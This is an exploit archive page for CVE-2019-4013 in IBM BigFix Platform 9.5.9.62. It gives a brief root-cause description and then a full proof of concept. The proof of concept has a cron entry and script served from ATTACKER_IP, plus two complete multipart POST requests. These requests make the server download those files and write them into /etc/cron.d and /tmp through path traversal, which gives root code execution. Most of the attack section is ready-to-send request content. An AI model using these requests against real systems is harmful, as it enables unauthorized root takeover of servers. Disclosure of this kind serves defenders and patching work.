exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IBM Bigfix Platform 9.5.9.62 Arbitary File Upload / Code Execution

IBM Bigfix Platform 9.5.9.62 Arbitary File Upload / Code Execution
Posted Oct 7, 2019
Authored by Jakub Palaczynski

IBM Bigfix Platform version 9.5.9.62 suffers from an arbitrary file upload vulnerability as root that can achieve remote code execution.

tags | exploit, remote, arbitrary, root, code execution, file upload
advisories | CVE-2019-4013
SHA-256 | 678846b330bb25aef207cbc3ab7747185ce598f22867e982d5957674140dcefe

IBM Bigfix Platform 9.5.9.62 Arbitary File Upload / Code Execution

Change Mirror Download
# Exploit Title: IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload
# Date: 2018-12-11
# Exploit Authors: Jakub Palaczynski
# Vendor Homepage: https://www.ibm.com/
# Version: IBM Bigfix Platform <= 9.5.9.62
# CVE: CVE-2019-4013


Description:
============

Any authenticated (even unprivileged) user can upload any file to any location on the server with root privileges. This results in code execution on underlying system with root privileges.

What caused this issue:
* path traversal - it is possible to escape from original directory and upload file to any other location
* server running with root privileges - user can upload file to ANY location on the system
* upload any type of file - application does not verify extension and MIME type of uploaded files
* authorization bypass (reported as separate issue) - any user can reveal privileged functionality and access it without proper rights set
* possibility to win the race - application uploads file to location specified in "urlFileName" parameter (path traversal), however it then moves it to another. An attacker needs to win race and execute script before it is moved.

Issue was found in "Apps > Software > Add Software" menu. Here user needs to choose upload via URL option as only this one is vulnerable.
URL needs to point to attacker's web server where he hosts for example script files.
When form is submitted we can see on proxy "urlFileName" parameter. This one is vulnerable to path traversal. This parameter specifies temporary file name that will be used on the system. Then application moves this file to another location that is not controlled by application user.

An attacker can for example upload script file on the web server and execute it by sending GET request. However as a PoC we will use cron. Here we upload 2 files - cron file and script file that will be executed by cron.
Uploading cron task and script file is the same as below but of course with different content downloaded from the web server. Those two HTTP requests should be sent in loop to finally win a race and execute our script.


Proof of Concept:
=================

cron.txt served on attacker's web server:
* * * * * root bash /tmp/icmp.sh

icmp.txt served on attacker's web server:
#!/bin/bash
ping -c 3 ATTACKER_IP


Uploading cron task:
POST /swd/api/packages/upload HTTP/1.1

Host: XXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Content-Length: 846

Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809

X-XSRF-TOKEN: XXX

Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX

Connection: close



-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="fileURL"



http://ATTACKER_IP/cron.txt

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="username"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="password"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlFileName"



../../../../../../../../etc/cron.d/task

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlDownloadAtRuntime"



false

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="uploadId"



user_1543410578364620

-----------------------------7289782871626994727576601809--


Uploading script file:
POST /swd/api/packages/upload HTTP/1.1

Host: XXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Content-Length: 846

Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809

X-XSRF-TOKEN: XXX

Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX

Connection: close



-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="fileURL"



http://ATTACKER_IP/icmp.txt

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="username"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="password"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlFileName"



../../../../../../../../tmp/icmp.sh

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlDownloadAtRuntime"



false

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="uploadId"



user_1543410578364620

-----------------------------7289782871626994727576601809--


After a while our script should be executed with root privileges.
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close